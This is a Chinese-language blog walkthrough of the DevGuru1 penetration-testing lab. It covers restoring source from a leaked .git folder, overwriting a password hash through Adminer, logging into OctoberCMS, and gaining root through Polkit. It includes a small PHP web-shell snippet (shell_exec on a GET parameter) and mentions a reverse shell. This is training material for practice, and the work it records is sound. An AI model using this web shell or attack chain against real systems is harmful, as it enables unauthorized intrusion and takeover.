DevGuru1打靶记录

主机探测

ip为192.168.34.47 端口扫描

信息收集

访问8585端口,有一个Gitea,版本是1.12.5。Gitea 是一个开源、轻量级的 Git 仓库管理系统,类似于 GitHub 或 GitLab,但可以自行托管。它基于 Go 语言编写,旨在为个人和团队提供简便而高效的 Git 仓库管理解决方案。

有登录的地方,不过我们没有用户名和密码的线索

这个版本在登录之后,可以进行RCE。不过此时我们没有密码,无法进行利用

访问80端口,网页上给出看一些选项,都看了下,没什么东西

目录遍历的时候扫到了/adminer.php,Adminer 是一个功能强大的数据库管理工具,类似于 phpMyAdmin,但相对更轻量级。它是用 PHP 编写的单文件应用程序,可以帮助数据库管理员和开发人员方便地管理数据库。去搜索了一下这个版本的漏洞,有个SSRF,不过我没有利用成功

.git泄露

目录还扫到了存在/.git,于是用GitHack工具进行还原工程源码

还原的结果如下:

在配置文件中,成功找到数据库的用户名和密码

adminer修改数据

登录adminer

找到可以执行SQL命令的地方,并且查询secure_file_priv是否为空

尝试写shell,不过权限不够

这里发现用户frank的密码,使用了bcrypt 算法加密,尝试解密是有难度的,找到的很多在线网站都是bcrypt加密,我也尝试过用john去破解,无果

bcrypt 是一种基于 Blowfish 加密算法的密码哈希函数,专门设计用于哈希和存储密码。

但是,此处可以修改密码值,将其修改成我们自己的密码的bcrypt值

OctoberCMS getshell

扫目录有扫到/backend,访问,使用frank/123456登录

这是OctoberCMS,尝试这个exp

提示没有这个文件的写入权限

换exp 首先在此处编辑

1
2
3
function onStart() {
	$this->page["myVar"] = shell_exec($_GET['cmd']); 
}

然后编辑

1
{{ this.page.myVar }}

前往/home页面,传入命令,成功执行 传入反弹shell的命令,注意url编码之后再传入

Polkit提权

查找SUID文件,发现有policykit,尝试提权

成功提权至root

Got flag

总结

1、这里遇到了.git泄露的情况,可以用GitHack工具进行还原。GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。

2、adminer类似phpmyadmin,也是数据库管理工具,所以想到将phpmyadmin能getshell的方法用到adminer上

3、OctoberCMS rce这个地方参考了别人的wp,自己找到的exp没成功😭

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计
本博客已稳定运行